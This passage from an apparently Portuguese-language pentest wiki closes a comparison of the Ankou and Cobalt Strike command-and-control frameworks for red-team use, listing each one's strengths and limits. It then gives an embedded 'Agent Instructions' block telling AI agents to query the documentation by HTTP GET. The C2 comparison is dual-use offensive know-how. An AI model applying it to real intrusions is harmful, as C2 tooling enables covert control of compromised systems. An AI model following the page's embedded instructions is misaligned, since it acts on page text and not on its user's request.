  
  🤖 ANKOU:
    - Melhor para: Operações com suporte de IA
    - Cenário ideal: Equipes que querem explorar AI
    - Limitação: Framework mais novo (menos testado)
    - Vantagem: Poly engine, AI assistant, múltiplos transportes 
  
  ⭐ COBALT STRIKE:
    - Melhor para: Operações profissionais de Red Team
    - Cenário ideal: Quando orçamento permite
    - Limitação: Alto custo, assinaturas conhecidas
    - Vantagem: Malleable C2 profiles, BOF ecosystem
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/metodos/ambientes-de-entrega-e-recebimento-de-informacoes/manipulacao-de-hosts/c2-command-and-controler.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.